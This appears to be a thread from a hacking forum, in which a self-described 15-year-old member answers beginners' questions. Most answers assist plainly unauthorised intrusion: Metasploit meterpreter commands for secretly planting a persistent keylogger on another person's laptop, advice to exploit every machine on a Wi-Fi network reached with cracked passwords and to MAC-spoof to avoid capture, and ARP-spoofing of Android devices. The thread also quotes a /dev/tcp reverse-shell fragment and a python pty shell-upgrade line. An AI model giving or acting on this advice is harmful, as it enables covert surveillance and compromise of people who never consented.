[Blackb0x3a]

sir can you plz tell me what is html injection?

[spirited_wolf™]

sir can you plz tell me what is html injection?

Sure brother ,

HTML INJECTION:-HTML injection is an attack that is similar to Cross site scripting [XSS]. While in the XSS vulnerability's the attacker can inject and execute JavaScript code but here in the HTML injection attack only allows the injection of certain HTML tags.

Here is the tuotrial:-




Thanks 🤝

[Blackb0x3a]

Sure brother ,

HTML INJECTION:-HTML injection is an attack that is similar to Cross site scripting [XSS]. While in the XSS vulnerability's the attacker can inject and execute JavaScript code but here in the HTML injection attack only allows the injection of certain HTML tags.

Here is the tuotrial:-


Thanks 🤝

nice explantion sir i learned something new today
thank you sir for explaining

[spirited_wolf™]

nice explantion sir i learned something new today
thank you sir for explaining

I'm glad to hear that you liked it ,

Cheers, Spirited_wolf

[TTime]

Quick suggestion needed -
I have access to an individual's laptop for 1 day. I want to implement a KeyLogger that will be almost 100% undetectable when I hand the laptop back to them. Suggestions on how to do this and which to use?

[spirited_wolf™]

Quick suggestion needed -
I have access to an individual's laptop for 1 day. I want to implement a KeyLogger that will be almost 100% undetectable when I hand the laptop back to them. Suggestions on how to do this and which to use?

Ok so here is quick suggestion for you:-

1. You can go to Keylogger section and buy keylogger from their.

2. Else if you have Metasploit framework then exploit the PC , migrate to some another process and after getting it you can run persistence script.

Example you can use this:-

PHP Code


<?php 
run migrate -n <process name>

upload IPATH/output/N4m %windir%\\System32\\N4m
reg setval -k 

HKLM\\Software\\Microsoft\\Windows\\Currentversion\\Run -v pWeDtReOr -d %windir%\System32\N4m

run scheduleme -hr M1P -c "%windir%\\System32\\N4m" 


Hope you got it ,

Thanks 🤝

[LadyShakti]

I want to know about this "/dev/tcp/192.168.1.102 0>&1"
What is that sir?

[THC]

I want to know about this "/dev/tcp/192.168.1.102 0>&1"
What is that sir?

Looks like shellshock exploitation.
Look at this site, it may provide you with some more information.
http://resources.infosecinstitute.com/pr...on-part-2/

[dullfool68]

Hey there, just joined! With the help of Fluxion, I was able to get some wifi passwords.
1) What else can I do?
2) And how do I prevent myself from getting caught?

Thanks.

[spirited_wolf™]

I want to know about this "/dev/tcp/192.168.1.102 0>&1"
What is that sir?

Actually when we execute any command on a /dev/tcp/$host/$port file, bash opens a " TCP connection " to the associated socket. So, this socket is work as a communications node associated with a specific Input/Output port. So, hope you understand.

Thanks 🤝

---

Looks like shellshock exploitation.
Look at this site, it may provide you with some more information.
http://resources.infosecinstitute.com/pr...on-part-2/

Half wrong / half true 👍 , i will give 6.5/10 🎉 [Your answer is correct but he is asking something different maybe.]

---

Hey there, just joined! With the help of Fluxion, I was able to get some wifi passwords.
1) What else can I do?
2) And how do I prevent myself from getting caught?

Thanks.

First Welcome to HackForum brother,
1. So first you can connect to that wifi > get into the same network > exploit all pc in that network.

2. Try to mac spoof first in order to stop getting caught.

Thanks 🤝

[dullfool68]

Thanks, Spirit. I have connected to the same network. Stuck at the exploit part. I have no way to transfer the payload. Do you have any guides on exploiting Android and sniffing the traffic?

Thanks.

[LadyShakti]

Actually when we execute any command on a /dev/tcp/$host/$port file, bash opens a " TCP connection " to the associated socket. So, this socket is work as a communications node associated with a specific Input/Output port. So, hope you understand.

Thanks 🤝

Thanks 🤗

But now other question

In same above command what is &1 ?

Another question too

PHP Code


<?php 
python -c 'import pty;pty.spawn("/bin/bash")' 


This is use for shelling using python

So there is module name "pty"
I googled about this so i came to know this :

PHP Code


<?php 
The pty module defines operations for handling the pseudo-terminal concept: starting another process and being able to write to and read from its controlling terminal programmatically. 


I didn't understand it completely

Can you please tell me in hindi ?

[spirited_wolf™]

Thanks, Spirit. I have connected to the same network. Stuck at the exploit part. I have no way to transfer the payload. Do you have any guides on exploiting Android and sniffing the traffic?

Thanks.

You can simply ARP-spoof and generate your payload using metasploit.

Here is the tutorial on Android hacking:-




And you should check these thread:-
==>[Mega Tutorial Links]A huge Tutorial collection for hackers/Pentesters<==

Thanks 🤝

---

Thanks 🤗

But now other question

In same above command what is &1 ?

That " 0>&1 " is a redirection part, " >,< " is used for giving the direction. 0<&1 means connect whatever is currently opened on file descriptor 1 to file descriptor 0.

Thanks 🤝

[LadyShakti]

What is file descriptor sir ?

---

Also i asked for python shell mean pty.spwan

[spirited_wolf™]

What is file descriptor sir ?

---

Also i asked for python shell mean pty.spwan

Brother are you sure you have learned Bash? 😊 If No

Then start from:-HERE

And Learn About redirection in bash from:-HERE

+ Brother i am just 15 so i don't find time to learn python becasue i have school exams+institute work+HackForum+study.
Thanks 🤝